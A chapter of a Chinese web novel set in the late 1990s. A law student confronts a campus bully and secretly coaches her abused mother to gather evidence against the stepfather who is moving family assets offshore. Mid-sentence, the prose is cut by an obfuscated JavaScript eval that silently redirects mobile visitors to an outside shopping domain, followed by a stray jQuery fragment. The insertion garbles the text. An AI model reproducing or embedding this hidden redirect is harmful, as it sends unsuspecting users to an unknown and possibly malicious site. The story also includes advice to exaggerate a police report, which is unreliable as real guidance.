九月,秋高气爽。
燕京大学校门前,新生报到的喧嚣声沸反盈天。
重型机车横亘在林荫道中央,排气管散发着刺鼻的尾气。
周扬单腿撑地。
他微微扬起下巴,锁定了正提着包走来的钟情。
在他身后的夏晚晚,适时地往周扬宽阔的后背缩了缩,仿佛一只受惊的雀鸟,这动作更是满足了周扬保护欲。
“站住。”
周扬吐出嘴里没有点燃的香烟。
周围看热闹的新生和迎新的学长学姐们,纷纷停下了脚步。
钟情没有如他所愿地停下,而是保持着向前步伐,直到走到距离机车不到一米的地方,才堪堪站定。
清明、幽深的目光,平平淡淡地落在了周扬的脸上。
那眼神,周扬只在家里的老父亲身上见过,那是一种成年人审视一个不懂事的孩子时,才会有的悲悯与冷酷。
“有事?”
周扬被她这种波澜不惊的态度刺痛了那可笑的自尊心,他冷笑一声,伸手指了指身后的夏晚晚:“我不管你在乡下是个什么做派,既然沾了光进了夏家,也考上了燕京,就给我老实点。晚晚心善,不跟你计较,但我周扬不吃这一套。以后在学校里,你最好离她远点,要是让我知道你再敢在家里欺负她,或者在外头败坏她的名声……”
周扬故意停顿了一下,身体前倾,眼神阴鸷:“我会让你在这所学校里,一天都待不下去。”
这就是九十年代古早剧本里男主的标准台词。
打着爱情的幌子,明目张胆地进行着人身威胁与校园霸凌的宣告。
钟情安静地听完他的豪言壮语。
“《治安管理处罚条例》规定,恐吓、威胁他人人身安全的,处十五日以下拘留、二百元以下罚款或者警告。”
钟情抬起眼眸,目光锐利如刀,声音冷硬得没有一丝温度:“你在公共场合驾驶无牌照非法改装机动车,堵塞校园消防与人员疏散通道,并对我进行公开的人身威胁。同学,如果你觉得这套在街头逞凶斗狠的把戏,在国家最高学府的门前也能行得通,你大可以现在就动手试试。”
周扬愣住了,他横行霸道这么多年,遇到的要么是哭着求饶的软柿子,要么是互放狠话的混混,却从来没遇到过这种张口就背法条,直接将他的行为定性为违法犯罪的女生。
“你少拿那些条条框框来吓唬我!老子不吃这套!”周扬恼羞成怒地低吼。
“法盲才会觉得法律是吓唬人的条框。”
钟情刺破了他的无知,目光越过他,落在了躲在后面脸色苍白的夏晚晚身上。
“还有你,夏晚晚。”钟情的声音透着一种看穿一切的讥诮,“如果你习惯了靠挑拨离间、依附男人来获取安全感,那是你个人的生存方式。但别把所有人都拉进你那套低劣的雌竞剧本里。我对你的男人不感兴趣,对你那点见不得光的身世更不感兴趣。”
“在法学院,我们只讲证据和逻辑。收起你那副随时准备被人欺负的伪装,我的时间很宝贵,没空陪你们玩过家家。”
说完,钟情没有再多看周扬一眼,径直绕过庞大的机车,从容不迫地走向了法学院的迎新桌。
一阵秋风吹过,卷起几片落叶。
……
办理完繁琐的入学手续,钟情在新生宿舍安顿了下来。
九十年代的大学宿舍,条件尚显简陋。绿漆斑驳的墙围,上下铺的铁架床,一台摇摇欲坠的吊扇在头顶发出疲惫的叹息。
室友们大都有父母陪同,正热闹地铺床叠被,唯独钟情,一个人利落地收拾好行李,便拿着一张刚买的IC电话卡,走下了楼。
宿舍楼下的角落里,挂着两台绿色的插卡式公用电话。
钟情将IC卡插进去,听着听筒里传来的盲音,熟练地拨下了一串长途号码。
嘟——
电话响了五声后,被人在那头小心翼翼地接起。
“喂?是……是情情吗?”
听筒里传来的声音压得很低,带着一丝轻微颤抖,是沈玉兰。
听到这熟悉的声音,钟情的面色悄然柔和了下来。
“妈,是我。我到学校了,宿舍也收拾好了,一切顺利。你那边怎么样?他今天回家了吗?”
“没有,他这几天都在公司忙着那个新项目的投标,昨天晚上打了个电话说要应酬,就没回来。晚晚也去燕京报到了,家里现在就我一个人。”沈玉兰的声音里透着一丝轻松,但转而很快又染上了担忧,“情情,燕京那边冷不冷?你的钱够不够花?食堂的饭菜吃得惯吗?”
听着母亲絮絮叨叨的关心,钟情的眼眶微微一热。
在现实世界里,自从母亲因病离世后,她已经有整整三年,没有听到过这样的唠叨了。
她的妈妈和电话那头的沈玉兰,在某种情感维度上,完成了重叠。
在决定前往燕京求学时,钟情面临着一个最大的难题:
如何安置沈玉兰。
她不可能将一个尚未离婚的成年女性带去大学宿舍。
在九十年代的社会环境下,如果没有确凿的证据和成熟的时机,贸然让沈玉兰离家出走,只会打草惊蛇。
夏建成完全可以利用丈夫的合法身份,通过派出所将她强行找回,到时候,沈玉兰面临的必将是更加残暴的毒打。
为了保护她,钟情在离开元成市的前一天,做出了周密的部署。
“妈,我在这边一切都好。”钟情轻声安抚着,随后话锋一转,切入了正题,“我走之前教你的那些事,你都记住了吗?”
电话那头的沈玉兰深吸了一口气,声音虽然还在发颤:“记住了,情情。我都记在心里了。”
钟情的思绪,飘回了离开元成市的前三天。
那天,趁着夏建成父女不在家,钟情陪着沈玉兰回了一趟沈家老宅。
老宅常年无人居住,院子里长满了荒草,斑驳的木门上挂着一把生锈的铁锁。
推开门,一股陈旧的霉味扑面而来。
沈玉兰带着钟情走到堂屋的佛龛前,搬开香炉,在墙壁的缝隙里摸索了半天,终于抽出一块松动的青砖。
青砖背后,是一个布满灰尘的铁盒。
打开,里面静静地躺着几份泛黄的文件。
沈氏企业最早的验资报告、股权确认书,以及沈老爷子亲笔写下、按着红手印的遗嘱副本。
当手指触碰到那些遗嘱的瞬间,沈玉兰的心理防线彻底崩溃了。
她跪在满是灰尘的青砖地上,捂着脸压抑地痛哭失声。
“我对不起你外公啊……他临走前把沈家交给我,我却瞎了眼,引狼入室。我不仅没保住沈家的产业,连自己的亲生女儿都护不住……我活着还有什么用啊……”
多年的委屈与悔恨,在这一刻化作了悲鸣。
看着跪在地上痛哭的母亲,钟情的心脏像是被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560820|202482||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
针狠狠扎了一下。
她蹲下身,没有说什么,而是伸出双臂,用力地将沈玉兰单薄颤抖的身体拥入怀中。
这不是原主身体的本能,而是钟情灵魂深处想要做出的行为。
“妈,听我说。”
钟情抚摸着沈玉兰的后背,声音低沉。
“过去的事情,无论是被骗还是挨打,都不是你的错。错的是那个披着人皮的禽兽。”
“哭泣换不来坏人的怜悯,只会让他们更加肆无忌惮。现在,我们手里有了这些证据,这就是我们反击的武器。”
钟情将沈玉兰扶起来,从自己的包里,拿出了一个寻呼机。
“妈,我马上要去燕京上学了,我没办法每天陪在你身边,这个你拿着。”
钟情将寻呼机塞进沈玉兰的手里,耐心地教她怎么看信息,怎么操作。
“我不能带你走,因为时机还没到。夏建成现在正在转移公司的核心资产,一旦我们现在撕破脸,他会立刻毁掉所有的账目,把资金洗白。到那时候,外公的心血就真的拿不回来了。”
钟情看着沈玉兰的眼睛。
“所以,你必须留在这里。”
“你要帮我留意他带回家的每一份文件,记下他书房里那些陌生人的名字和电话。不要去翻找,只要用眼睛去看,用心去记。”
看着沈玉兰因为害怕而有些退缩的肩膀,钟情握紧了她的手。
“不要怕他,如果他喝酒了,或者情绪不对想要动手,立刻反锁你的卧室门。如果门被砸坏,不要犹豫,从二楼的阳台顺着水管爬下去,去敲隔壁王阿姨家的门报警。”
“记住,报警的时候,绝对不要说夫妻打架。你要对着警察喊,有人持凶器入室杀人,只有把性质说得足够严重,派出所才会第一时间出警。”
钟情将反家暴的生存法则,一点点剖析给了沈玉兰。
“如果遇到紧急情况,你没办法打电话。就找机会用公用电话拨我的传呼号。”钟情指着寻呼机屏幕,“按111,代表你安全。按999,代表你处于危险中。只要我看到999,我不管他在富杭市有多大的势力,我都会立刻报案,让燕京的警方介入。”
……
回忆渐渐散去。
电话亭里,钟情听着听筒里母亲不再盲目恐惧的声音,嘴角微微上扬。
“情情,他书房的垃圾篓里,昨天多了一些碎纸片。我趁保姆不注意捡了几块拼起来,上面好像印着什么海外离岸公司的字样。”沈玉兰压低声音汇报着她这几天的战果。
对于一个初中毕业的妇女来说,能记住这些拗口的名词,已经是拼尽了全力。
“做得好,妈。”钟情眼中闪过一丝锐利的精光,“不用去拼凑那些碎片,太危险了。只要确定他在进行海外资产转移就足够了。”
“妈,保护好自己。等我在这边扎稳脚跟,我会让他把欠我们的一笔笔还回来。”
“嗯,妈等你。”
挂断电话,钟情抽出IC卡。
晚风吹过,带来了一丝凉意。
钟情转身走向了燕京大学的法学图书馆。
九十年代末的华国法制,正处于新旧交替的阵痛期。
新《婚姻法》中关于家庭暴力的明确规定还要等几年才会出台,而《公司法》的监管机制也尚存诸多漏洞。
但她,从不畏惧时代的局限。
法律是死的,但掌握法律的人是活的。